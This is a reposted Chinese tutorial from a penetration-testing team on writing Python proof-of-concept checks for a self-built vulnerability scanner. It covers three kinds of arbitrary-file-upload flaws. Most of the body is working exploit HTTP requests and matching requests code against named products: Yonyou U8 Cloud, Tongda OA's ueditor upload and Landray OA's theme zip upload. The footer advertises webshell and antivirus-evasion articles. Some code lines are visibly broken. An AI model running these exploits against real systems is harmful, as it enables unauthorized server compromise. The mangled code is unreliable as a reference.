社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

Python批量扫描器三类上传漏洞poc编写教程 | 干货

渗透安全团队 • 1 年前 • 468 次点击  



技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

0x02 SCAMagicscan简介

SCAMagicscan是一款由本人自研的基于python开发的开源轻量级扫描器,由扫描引擎(main.py)、pocs(poc集合)、reverse(反连平台配置)三部分组成。现阶段对外只推出前两个模块。


较于其他扫描器优点如下:

1、轻量化:运行命令简单,无太多繁琐指令需要学习

2、poc开源:poc不封装,直接可在pocs目录查看所有poc源码

3、扫描速度可观:支持自定义扫描线程,根据实际情况调整扫描速度

4、可拓展性强:无固定poc模板,支持各类漏洞poc自定义编写,不仅限与web漏洞

较于其他扫描器缺点如下:

1、界面设计粗糙:直男审美,以实用为主,忽略了界面的美观性

2、无漏洞描述:为了使其轻量化与工作简单化,并无漏洞的相关描述信息

3、延时注入扫描低并发:需要延时注入漏洞poc,需要调低线程数小于10,不然会产生大量漏报

0x04 上传漏洞poc编写

 上传漏洞我根据poc编写的不同方式主要分为了三类:

1、post或get 参数中直接传递文件名和文件内容2、常规上传单文件3、上传zip压缩包

1、post或get 参数中直接传递文件名和文件内容

如:用友u8cloud-linux-任意文件上传漏洞,poc如下

POST /linux/pages/upload.jsp HTTP/1.1Host: {{HostName}}Content-Type:application/x-www-form-urlencodedfilename: test.jsp
"test123"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

此例中,上传文件名在headers里面的filename定义,上传内容直接为请求body值,则python的请求包则正常定义即可,如下

url=baseurl+f"linux/pages/upload.jsp"headers = {    "Content-Type":"application/x-www-form-urlencoded",    "filename""test.jsp"  }data=f''''''response=requests.post(url=url, headers=headers,data=data,verify=False,timeout=15)

2、常规上传单文件

如:通达-action_upload-任意文件上传漏洞,poc如下:

POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1Host:{{HostName}}Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryddddddddX_requested_with: XMLHttpRequest
------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileFieldName]"
ffff------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileMaxSize]"
1000000000------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[filePathFormat]"
ssstest------WebKitFormBoundaryddddddddContent-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
.php------WebKitFormBoundarydddddddd Content-Disposition: form-data; name="ffff"; filename="ssstest.phpContent-Type: application/octet-stream
123456);unlink(__FILE__);?>------WebKitFormBoundaryddddddContent-Disposition: form-data; name="mufile"
submit------WebKitFormBoundarydddddd--

此例中,就是常规上传漏洞,content-type为multipart/form-data,上传文件名为ssstest,文件内容为php代码。定义请求url,和请求headers时,常规定义即可。定义请求body时,由于body换行,需要使用三个引号对body进行引用,每行以\r结尾,如下所示:

url=baseurl+"module/ueditor/php/action_upload.php?action=uploadfile"headers={'Content-Type''multipart/form-data; boundary=----WebKitFormBoundarydddddddd''X_requested_with': 'XMLHttpRequest'}body='''------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="CONFIG[fileFieldName]"\rffff\r------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="CONFIG[fileMaxSize]"\r\r1000000000\r------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="CONFIG[filePathFormat]"\r\rssstest\r------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="CONFIG[fileAllowFiles][]"\r\r.php\r------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="ffff"; filename="test.php"\rContent-Type: application/octet-stream\r\r\r------WebKitFormBoundarydddddddd\rContent-Disposition: form-data; name="mufile"\r\rsubmit\r------WebKitFormBoundarydddddddd--\r'''response=requests.post(url,body,headers=headers,timeout=5,verify=False)

3、上传压缩包

如蓝凌oa-sysUiComponent-任意文件上传漏洞,poc如下:

POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1Host: {{HostName}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 461Content-Type: multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937
--2b048d4d2d20e20e90541907976f0937Content-Disposition: form-data; name="file"; filename="test.zip"Content-Type: application/x-zip-compressed
{{zip_content}}--2b048d4d2d20e20e90541907976f0937--

此例中,上传压缩包后,服务端经过一系列处理,会解析压缩包中的jsp文件并执行,因此上传文件名和文件内容,都在压缩包内完成。上述poc中的{{zip_content}}即为压缩包的二进制字节流,大多数师傅就不知到该如何使用python定义请求body了,这里需要说明的是,requests的请求body数据类型即支持str字符串类型,也支持byte二进制字节流,因此可以将body部分转为二进制字节流即可,提供一下两种写法:

(1)使用requests的file参数,不用在headers里面添加Content-Type字段,file参数请求后会自动添加,如下:

url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"headers = {    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",    "Accept-Encoding""gzip",  }files = {'file': (f'test.zip',open('test.zip','rb'), 'application/x-zip-compressed')}response=requests.post(url,files=files,allow_redirects=False,headers=headers,verify=False,timeout=15)

(2)使用二进制字节流进行字符拼接,如下:

url=baseurl+"sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true"headers = {    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",    "Accept-Encoding": "gzip",    "Content-Type":"multipart/form-data; multipart/form-data; boundary=2b048d4d2d20e20e90541907976f0937  }body = b'''--2b048d4d2d20e20e90541907976f0937\rContent-Disposition: form-data; name="file"; filename="test.zip"\rContent-Type: application/x-zip-compressed\r\r'''+open('test.zip','rb')+b'''\r--2b048d4d2d20e20e90541907976f0937--'''response=requests.post(url,body,allow_redirects=False,headers=headers,verify=False,timeout=15)





付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员


进成员内部群





星球的最近主题和星球内部工具一些展示





加入安全交流群


                               


关 注 有 礼



关注下方公众号回复“ 666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!






干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/166365
 
468 次点击